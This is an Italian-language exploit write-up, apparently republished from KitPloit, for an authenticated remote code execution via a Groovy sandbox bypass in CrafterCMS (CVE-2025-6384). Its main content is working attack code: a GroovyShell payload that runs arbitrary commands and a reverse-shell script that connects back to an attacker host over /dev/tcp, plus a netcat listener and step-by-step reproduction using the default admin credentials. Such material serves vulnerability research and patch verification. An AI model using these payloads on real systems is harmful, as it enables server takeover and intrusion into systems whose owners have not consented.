CrafterCMS RCE autenticata - Bypass della sandbox Groovy (CVE-2025-6384)

Una prova di concetto per una vulnerabilità di Remote Code Execution autenticata in CrafterCMS.

Riepilogo della vulnerabilità

Un utente autenticato con privilegi di sviluppatore può bypassare la sandbox degli script Groovy in Crafter Studio per ottenere l'esecuzione remota di codice (RCE). La sandbox non riesce a bloccare l'istanziazione di una nuova GroovyShell, che può essere utilizzata per creare un nuovo ambiente di esecuzione senza restrizioni.

• Prodotto: CrafterCMS
• Componente: Crafter Studio
• Vulnerabilità: RCE autenticata tramite bypass della sandbox Groovy (CWE-913)
• Impatto: Compromissione totale del server

Preparazione dell'ambiente / Distribuzione

Puoi distribuire rapidamente un'istanza CrafterCMS vulnerabile per i test utilizzando i file ufficiali di Docker Compose.

1. Clona il repository docker-compose da CrafterCMS:

   root@kitploit:~

   git clone https://github.com/craftercms/docker-compose.git
   

2. Vai alla directory dell'ambiente di authoring:

   root@kitploit:~

   cd docker-compose/authoring
   

3. Avvia i container. Questo scaricherà le immagini necessarie e avvierà lo stack CrafterCMS.

   root@kitploit:~

   docker-compose up
   

   (Nota: potrebbe essere necessario sudo a seconda dell'installazione di Docker.)

4. Attendi che i servizi siano completamente inizializzati. Puoi accedere a Crafter Studio all'indirizzo http://localhost:8080/studio.

   • Nome utente predefinito: admin
   • Password predefinita: admin

Prova di concetto (PoC)

Mentre la sandbox blocca correttamente i metodi di esecuzione diretti, consente il seguente payload, che crea una nuova shell Groovy senza sandbox.

// File: /scripts/interceptors/pwn.groovy

def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")

// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)

Exploit RCE: Reverse Shell

Questo payload dimostra la piena RCE stabilendo una reverse shell verso una macchina controllata dall'attaccante.

1. Avvia un listener

Sulla tua macchina, avvia un listener (ad esempio usando netcat) per ricevere la connessione in arrivo:

nc -lvnp 4444

2. Prepara il payload

Usa il seguente script Groovy come payload. Ricorda di sostituire <YOUR_IP> e <YOUR_PORT> con l'indirizzo IP e la porta del tuo listener.

// File: /scripts/interceptors/exploit.groovy

def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>

def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()

// Use triple quotes to handle the command string easily
shell.evaluate("""
    new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")

System.err.println("Reverse shell payload executed.")

Passaggi per riprodurre

1. Accedi a Crafter Studio (http://localhost:8080/studio) con le credenziali predefinite (admin / admin).

2. Vai a Site Config -> Scripts.

3. Fai clic su Create/Edit Script nella sezione "Groovy Scripts".

   

4. Scegli un tipo di script che verrà eseguito, ad esempio Request Interceptor.

5. Incolla il payload PoC nell'editor di script e salvalo.

   

6. Attiva lo script visitando qualsiasi pagina del sito web (ad esempio http://localhost:8080).

7. Controlla i log di errore standard del server per vedere l'output del comando.

   • Per la PoC, trova l'ID del tuo container e controlla i suoi log per l'output del comando:
   root@kitploit:~

   docker-compose logs -f crafter
   

   Output atteso:

   root@kitploit:~

   GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
   

   

Dichiarazione di non responsabilità

Questo materiale è solo a scopo educativo e di ricerca. L'autore non è responsabile per eventuali usi impropri o danni causati da queste informazioni.